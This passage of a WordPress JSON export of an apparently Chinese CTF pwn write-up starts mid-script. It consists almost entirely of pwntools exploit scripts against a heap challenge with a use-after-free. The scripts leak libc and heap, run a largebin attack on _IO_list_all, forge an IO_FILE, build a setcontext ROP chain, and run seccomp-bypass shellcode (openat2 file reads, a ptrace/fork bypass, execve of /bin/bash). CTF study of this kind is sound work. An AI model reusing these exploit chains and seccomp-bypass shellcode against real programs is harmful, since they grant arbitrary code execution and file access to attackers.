rop.find_gadget(&#91;'pop rsi', 'ret']).address + libcbase\npop_rdi = rop.find_gadget(&#91;'pop rdi', 'ret']).address + libcbase\npop_rax = rop.find_gadget(&#91;'pop rax', 'ret']).address + libcbase\npop_r12_r13 = rop.find_gadget(&#91;'pop r12', 'pop r13', 'ret']).address + libcbase\npop_rax_rdx_rbx = rop.find_gadget(&#91;'pop rax', 'pop rdx', 'pop rbx', 'ret']).address + libcbase\nsyscall = rop.find_gadget(&#91;'syscall', 'ret']).address + libcbase\nsetcontextaddr = libc.symbols&#91;'setcontext'] + 61 + libcbase\nrsp=payloadbase+0x300\npayload=p64(0)*4\npayload+=p64(libcbase+libc.symbols&#91;'setcontext']+61)+p64(0)\npayload+=p64(0)*7\npayload+=p64(heapbase)#rdi\npayload+=p64(0x8000)#rsi\npayload+=p64(0)*2\npayload+=p64(7)\npayload+=p64(0)+p64(0x18)\npayload+=p64(rsp+8)\npayload+=p64(pop_rax)\n\nNR_fork=57\nNR_ptrace=101\nNR_wait=61\nPTRACE_ATTACH=16\nPTRACE_SETOPTIONS = 0x4200\nPTRACE_O_TRACESECCOMP   = 0x00000080\nPTRACE_CONT = 7\nPTRACE_DETACH=17\n\n\n\nshellcode = asm(\"\"\"\n    mov rax, 0x67616c66\n    push rax\n    xor rdi, rdi\n    sub rdi, 100\n    mov rsi, rsp\n    push 0\n    push 0\n    push 0\n    mov rdx, rsp\n    mov r10, 0x18\n    push SYS_openat2\n    pop rax\n    syscall\n    mov rdi,rax\n    mov rsi,rsp\n    mov edx,0x100\n    xor eax,eax\n    syscall\n    mov edi,1\n    mov rsi,rsp\n    push 1\n    pop rax\n    syscall \n\"\"\")\n\n\n\ndata = flat({\n    0:bytes(f2)&#91;16:],#\u4f2a\u9020\u7b2c\u4e00\u4e2a_IO_file\u7ed3\u6784\u4f53\uff0c\u4f46\u662fpre_size\u548csize\u5df2\u7ecf\u5360\u7528\u4e8616\u5b57\u8282\n    0xf0:&#91;0,0,0,0,0,0,0,0,0,0,0],\n    0x158:gadget1,\n    0x1d0:payloadbase+0x100,\n    0x1f0:payload,\n    0x300:{\n            0:pop_rax,\n            0x8:10,\n            0x10:syscall,\n            0x18:0x1e30+heapbase,\n            0x20:shellcode\n        },\n})\n\n\nedit(4,data)\nprint(hex(gadget2))\np.debug()\nchoose(5)\n\np.ia()<\/code><\/pre>\n\n\n\n<h5 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"3ptraceorw\"><\/span>3.ptrace+orw<span class=\"ez-toc-section-end\"><\/span><\/h5>\n\n\n\n<pre class=\"wp-block-code\"><code>from pwnplus import *\nfrom pwncli import *\nimport pwnlib.shellcraft as sc\ncontext.arch = 'amd64'\ncontext.log_level = 'debug'\np=mypwn('.\/pwn')\nlibc = ELF('.\/libc.so.6')\ndef choose(num):\n    p.sla(b'>',str(num))\ndef add(index,size):\n    choose(1)\n    p.sla(b'Index: ',str(index))\n    p.sla(b'Size: ',str(size))\ndef delete(index):\n    choose(2)\n    p.sla(b'Index: ',str(index))\ndef edit(index,content):\n    choose(3)\n    p.sla(b'Index: ',str(index))\n    p.sla(b'Content: ',content)\ndef show(index):\n    choose(4)\n    p.sla(b'Index: ',str(index))\n\nadd(0,0x600)\nadd(1,0x610)\nadd(2,0x610)\nadd(3,0x610)\nadd(4,0x600)\nadd(5,0x600)\ndelete(1)\ndelete(3)\nshow(1)\nlibcbase=p.uu64()-0x21ace0+0x024020\nshow(3)\nheapbase=p.uu64()-0x8a0\nprint('libcbase',hex(libcbase))\nprint('heapbase',hex(heapbase))\n#--------\u6cc4\u9732libc\u548cheap-----------\nadd(5,0x620)\n# p.debug()\nfd=0x14f0+heapbase\nbk=0x1f7130+libcbase\nadd(6,0x610)\ndelete(4)\nedit(1,p64(fd)+p64(bk)+p64(0)+p64(libcbase+libc.symbols&#91;'_IO_list_all']-0x20))\nadd(7,0x640)\n#----------largebin attack-------------\n_IO_file_jumps=libcbase+libc.symbols&#91;'_IO_file_jumps']\n_IO_wfile_jumps=libcbase+libc.symbols&#91;'_IO_wfile_jumps']\npayloadbase=heapbase+0x1b00\nchain=payloadbase+0x100\ngadget1=libcbase+0x00000000001565ca#0x00000000001565ca : mov rax, qword ptr &#91;rdi + 0x38] ; call qword ptr &#91;rax + 0x10]\ngadget2=libcbase+0x160e56#0x0000000000160e56 : mov rdx, qword ptr &#91;rax + 0x38] ; mov rdi, rax ; call qword ptr &#91;rdx + 0x20]\nflagaddr=payloadbase+0x400\nf2=IO_FILE_plus_struct()\nf2._IO_read_base=gadget2\nf2._IO_write_ptr=1\nf2._IO_buf_end=payloadbase+0x200\nf2._IO_buf_base=payloadbase+8\nf2._flags2 = 8\nf2._mode = 0\nf2._wide_data = payloadbase+0x100\nf2.vtable = _IO_wfile_jumps\nrop=ROP(libc)\npop_r12 = rop.find_gadget(&#91;'pop r12', 'ret']).address + libcbase\npop_rsi = rop.find_gadget(&#91;'pop rsi', 'ret']).address + libcbase\npop_rdi = rop.find_gadget(&#91;'pop rdi', 'ret']).address + libcbase\npop_rax = rop.find_gadget(&#91;'pop rax', 'ret']).address + libcbase\npop_r12_r13 = rop.find_gadget(&#91;'pop r12', 'pop r13', 'ret']).address + libcbase\npop_rax_rdx_rbx = rop.find_gadget(&#91;'pop rax', 'pop rdx', 'pop rbx', 'ret']).address + libcbase\nsyscall = rop.find_gadget(&#91;'syscall', 'ret']).address + libcbase\nsetcontextaddr = libc.symbols&#91;'setcontext'] + 61 + libcbase\nrsp=payloadbase+0x300\npayload=p64(0)*4\npayload+=p64(libcbase+libc.symbols&#91;'setcontext']+61)+p64(0)\npayload+=p64(0)*7\npayload+=p64(heapbase)#rdi\npayload+=p64(0x8000)#rsi\npayload+=p64(0)*2\npayload+=p64(7)\npayload+=p64(0)+p64(0x18)\npayload+=p64(rsp+8)\npayload+=p64(pop_rax)\n\nNR_fork=57\nNR_ptrace=101\nNR_wait=61\nPTRACE_ATTACH=16\nPTRACE_SETOPTIONS = 0x4200\nPTRACE_O_TRACESECCOMP   = 0x00000080\nPTRACE_CONT = 7\nPTRACE_DETACH=17\n\n\n\nshellcode2 = f'''\nmain:\n\/*fork()*\/\npush {NR_fork}\npop rax\nsyscall\npush rax\npop rbx\ntest rax,rax\njz child_code\n\n\n\/*ptrace(PTRACE_ATTACH, pid, NULL, NULL)*\/\nxor r10, r10\nxor edx, edx\nmov rsi,rbx\nmov rdi,{PTRACE_ATTACH}\npush {NR_ptrace}\npop rax\nsyscall\n\n\n\/* wait child *\/\nxor rdi, rdi\npush {NR_wait}\npop rax\nsyscall\n\n\n\/* ptrace(PTRACE_SETOPTIONS, pid, NULL, PTRACE_O_TRACESECCOMP) *\/\nmov r10,{PTRACE_O_TRACESECCOMP}\nxor rdx, rdx\nmov rsi,rbx\nmov rdi, 0x4200\npush {NR_ptrace}\npop rax\nsyscall\njs error\n\n\n\/* ptrace(PTRACE_CONT, pid, NULL, NULL) *\/\nxor r10,r10\nxor rdx,rdx\nmov rsi,rbx\nmov rdi, {PTRACE_CONT} \/* PTRACE_CONT *\/\npush {NR_ptrace}\npop rax\nsyscall\njs error\n\n\n\/* Wait seccomp *\/\nxor rdi, rdi\npush {NR_wait}\npop rax\nsyscall\n\n\nxor r10,r10\nxor rdx,rdx\nmov rsi,rbx\nmov rdi,{PTRACE_DETACH}\npush {NR_ptrace}\npop rax\nsyscall\njmp end\n\n\nchild_code:\n{shellcraft.open('\/flag')}\n{shellcraft.sendfile(1, 3, 0, 0x100)}\nerror:\n\/* exit *\/\nxor rdi, rdi\nmov rax, 60\nsyscall\nend:\nnop\n'''\n\n\n\ndata = flat({\n    0:bytes(f2)&#91;16:],#\u4f2a\u9020\u7b2c\u4e00\u4e2a_IO_file\u7ed3\u6784\u4f53\uff0c\u4f46\u662fpre_size\u548csize\u5df2\u7ecf\u5360\u7528\u4e8616\u5b57\u8282\n    0xf0:&#91;0,0,0,0,0,0,0,0,0,0,0],\n    0x158:gadget1,\n    0x1d0:payloadbase+0x100,\n    0x1f0:payload,\n    0x300:{\n            0:pop_rax,\n            0x8:10,\n            0x10:syscall,\n            0x18:0x1e30+heapbase,\n            0x20:asm(shellcode2)\n        },\n})\n\n\nedit(4,data)\nprint(hex(gadget2))\np.debug()\nchoose(5)\n\np.ia()<\/code><\/pre>\n\n\n\n<h5 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"4ptraceexecve\"><\/span>4.ptrace+execve<span class=\"ez-toc-section-end\"><\/span><\/h5>\n\n\n\n<pre class=\"wp-block-code\"><code>from pwnplus import *\nfrom pwncli import *\nimport pwnlib.shellcraft as sc\ncontext.arch = 'amd64'\ncontext.log_level = 'debug'\np=mypwn('.\/pwn')\nlibc = ELF('.\/libc.so.6')\ndef choose(num):\n    p.sla(b'>',str(num))\ndef add(index,size):\n    choose(1)\n    p.sla(b'Index: ',str(index))\n    p.sla(b'Size: ',str(size))\ndef delete(index):\n    choose(2)\n    p.sla(b'Index: ',str(index))\ndef edit(index,content):\n    choose(3)\n    p.sla(b'Index: ',str(index))\n    p.sla(b'Content: ',content)\ndef show(index):\n    choose(4)\n    p.sla(b'Index: ',str(index))\n\nadd(0,0x600)\nadd(1,0x610)\nadd(2,0x610)\nadd(3,0x610)\nadd(4,0x600)\nadd(5,0x600)\ndelete(1)\ndelete(3)\nshow(1)\nlibcbase=p.uu64()-0x21ace0+0x024020\nshow(3)\nheapbase=p.uu64()-0x8a0\nprint('libcbase',hex(libcbase))\nprint('heapbase',hex(heapbase))\n#--------\u6cc4\u9732libc\u548cheap-----------\nadd(5,0x620)\n# p.debug()\nfd=0x14f0+heapbase\nbk=0x1f7130+libcbase\nadd(6,0x610)\ndelete(4)\nedit(1,p64(fd)+p64(bk)+p64(0)+p64(libcbase+libc.symbols&#91;'_IO_list_all']-0x20))\nadd(7,0x640)\n#----------largebin attack-------------\n_IO_file_jumps=libcbase+libc.symbols&#91;'_IO_file_jumps']\n_IO_wfile_jumps=libcbase+libc.symbols&#91;'_IO_wfile_jumps']\npayloadbase=heapbase+0x1b00\nchain=payloadbase+0x100\ngadget1=libcbase+0x00000000001565ca#0x00000000001565ca : mov rax, qword ptr &#91;rdi + 0x38] ; call qword ptr &#91;rax + 0x10]\ngadget2=libcbase+0x160e56#0x0000000000160e56 : mov rdx, qword ptr &#91;rax + 0x38] ; mov rdi, rax ; call qword ptr &#91;rdx + 0x20]\nflagaddr=payloadbase+0x400\nf2=IO_FILE_plus_struct()\nf2._IO_read_base=gadget2\nf2._IO_write_ptr=1\nf2._IO_buf_end=payloadbase+0x200\nf2._IO_buf_base=payloadbase+8\nf2._flags2 = 8\nf2._mode = 0\nf2._wide_data = payloadbase+0x100\nf2.vtable = _IO_wfile_jumps\nrop=ROP(libc)\npop_r12 = rop.find_gadget(&#91;'pop r12', 'ret']).address + libcbase\npop_rsi = rop.find_gadget(&#91;'pop rsi', 'ret']).address + libcbase\npop_rdi = rop.find_gadget(&#91;'pop rdi', 'ret']).address + libcbase\npop_rax = rop.find_gadget(&#91;'pop rax', 'ret']).address + libcbase\npop_r12_r13 = rop.find_gadget(&#91;'pop r12', 'pop r13', 'ret']).address + libcbase\npop_rax_rdx_rbx = rop.find_gadget(&#91;'pop rax', 'pop rdx', 'pop rbx', 'ret']).address + libcbase\nsyscall = rop.find_gadget(&#91;'syscall', 'ret']).address + libcbase\nsetcontextaddr = libc.symbols&#91;'setcontext'] + 61 + libcbase\nrsp=payloadbase+0x300\npayload=p64(0)*4\npayload+=p64(libcbase+libc.symbols&#91;'setcontext']+61)+p64(0)\npayload+=p64(0)*7\npayload+=p64(heapbase)#rdi\npayload+=p64(0x8000)#rsi\npayload+=p64(0)*2\npayload+=p64(7)\npayload+=p64(0)+p64(0x18)\npayload+=p64(rsp+8)\npayload+=p64(pop_rax)\n\nNR_fork=57\nNR_ptrace=101\nNR_wait=61\nPTRACE_ATTACH=16\nPTRACE_SETOPTIONS = 0x4200\nPTRACE_O_TRACESECCOMP   = 0x00000080\nPTRACE_CONT = 7\nPTRACE_DETACH=17\n\norder2 = b'h\\x00'&#91;::-1].hex()\norder1 = b'\/bin\/bas'&#91;::-1].hex()\nshellcode = asm(f\"\"\"\n_start:\n    \/* Step 1: fork a new process *\/\n    mov rax, 57             \/* syscall number for fork (on x86_64) *\/\n    syscall                 \/* invoke fork() *\/\n    test rax, rax           \/* check if return value is 0 (child) or positive (parent) *\/\n    js _exit                \/* if fork failed, exit *\/\n    \/* Step 2: If parent process, attach to child process *\/\n    cmp rax, 0              \/* are we the child process? *\/\n    je child_process        \/* if yes, jump to child_process *\/\nparent_process:\n    \/* Store child PID *\/\n    mov r8,rax\n    mov rsi, r8            \/* rdi = child PID *\/\n    \/* Attach to child process *\/\n    mov rax, 101            \/* syscall number for ptrace *\/\n    mov rdi, 0x10           \/* PTRACE_ATTACH *\/\n    xor rdx, rdx            \/* no options *\/\n    xor r10, r10            \/* no data *\/\n    syscall                 \/* invoke ptrace(PTRACE_ATTACH, child_pid, 0, 0) *\/\nmonitor_child:\n    \/* Wait for the child to stop *\/\n\n    mov rdi, r8            \/* rdi = child PID *\/\n    mov rsi, rsp            \/*  no status*\/\n    xor rdx, rdx            \/* no options *\/\n    xor r10, r10            \/* no rusage *\/\n    mov rax, 61             \/* syscall number for wait4 *\/\n    syscall                 \/* invoke wait4() *\/\n    \/* Set ptrace options *\/\n    mov rax, 110\n    syscall    \n    mov rdi, 0x4200         \/* PTRACE_SETOPTIONS *\/\n    mov rsi, r8            \/* rsi = child PID *\/\n    xor rdx, rdx            \/* no options *\/\n    mov r10, 0x00000080     \/* PTRACE_O_TRACESECCOMP *\/\n    mov rax, 101            \/* syscall number for ptrace *\/\n    syscall                 \/* invoke ptrace(PTRACE_SETOPTIONS, child_pid, 0, 0) *\/\n    \/* Allow the child process to continue *\/\n    mov rax, 110\n    syscall\n\n    mov rdi, 0x7            \/* PTRACE_CONT *\/\n    mov rsi, r8            \/* rsi = child PID *\/\n    xor rdx, rdx            \/* no options *\/\n    xor r10, r10            \/* no data *\/\n    mov rax, 101            \/* syscall number for ptrace *\/\n    syscall                 \/* invoke ptrace(PTRACE_CONT, child_pid, 0, 0) *\/\n    \/* Loop to keep monitoring the child *\/\n    jmp monitor_child\nchild_process:\n    \/* Child process code here *\/\n    \/* For example, we could execute a shell or perform other actions *\/\n    \/* To keep it simple, let's just execute `\/bin\/sh` *\/\n\n    \/* sleep(5) *\/\n    \/* push 0 *\/\n    push 1\n    dec byte ptr &#91;rsp]\n    \/* push 5 *\/\n    push 5\n    \/* nanosleep(requested_time='rsp', remaining=0) *\/\n    mov rdi, rsp\n    xor esi, esi \/* 0 *\/\n    \/* call nanosleep() *\/\n    push SYS_nanosleep \/* 0x23 *\/\n    pop rax\n    syscall\n    mov rax, 0x{order2}  \/* \"\/bin\/sh\" *\/\n    push rax\n    mov rax, 0x{order1}  \/* \"\/bin\/sh\" *\/\n    push rax\n    mov rdi, rsp    \n    mov rsi, 0\n    xor rdx, rdx\n    mov rax, 59             \/* syscall number for execve *\/\n    syscall\n    jmp child_process\n_exit:\n    \/* Exit the process *\/\n    mov rax, 60             \/* syscall number for exit *\/\n    xor rdi, rdi            \/* status 0 *\/\n    syscall\n\"\"\")\n\n\ndata = flat({\n    0:bytes(f2)&#91;16:],#\u4f2a\u9020\u7b2c\u4e00\u4e2a_IO_file\u7ed3\u6784\u4f53\uff0c\u4f46\u662fpre_size\u548csize\u5df2\u7ecf\u5360\u7528\u4e8616\u5b57\u8282\n    0xf0:&#91;0,0,0,0,0,0,0,0,0,0,0],\n    0x158:gadget1,\n    0x1d0:payloadbase+0x100,\n    0x1f0:payload,\n    0x300:{\n            0:pop_rax,\n            0x8:10,\n            0x10:syscall,\n            0x18:0x1e30+heapbase,\n            0x20:shellcode\n        },\n})\n\n\nedit(4,data)\nprint(hex(gadget2))\n# p.debug()\nchoose(5)\n\np.ia()<\/code><\/pre>\n","protected":false},"excerpt":{"rendered":"<p>\u9898\u76ee\u5206\u6790 \u589e\u5220\u6539\u67e5\u90fd\u6709\uff0c\u5b58\u5728uaf\uff0c\u53ef\u4ee5\u76f4\u63a5largebin attack \u7981\u7528\u4e86open\uff0copenat\uff0cex [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[12],"tags":[15,7],"class_list":["post-295","post","type-post","status-publish","format-standard","hentry","category-pwn","tag-orw","tag-7"],"_links":{"self":[{"href":"http:\/\/39.104.51.85\/index.php\/wp-json\/wp\/v2\/posts\/295","targetHints":{"allow":["GET"]}}],"collection":[{"href":"http:\/\/39.104.51.85\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/39.104.51.85\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/39.104.51.85\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/39.104.51.85\/index.php\/wp-json\/wp\/v2\/comments?post=295"}],"version-history":[{"count":4,"href":"http:\/\/39.104.51.85\/index.php\/wp-json\/wp\/v2\/posts\/295\/revisions"}],"predecessor-version":[{"id":307,"href":"http:\/\/39.104.51.85\/index.php\/wp-json\/wp\/v2\/posts\/295\/revisions\/307"}],"wp:attachment":[{"href":"http:\/\/39.104.51.85\/index.php\/wp-json\/wp\/v2\/media?parent=295"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/39.104.51.85\/index.php\/wp-json\/wp\/v2\/categories?post=295"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/39.104.51.85\/index.php\/wp-json\/wp\/v2\/tags?post=295"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}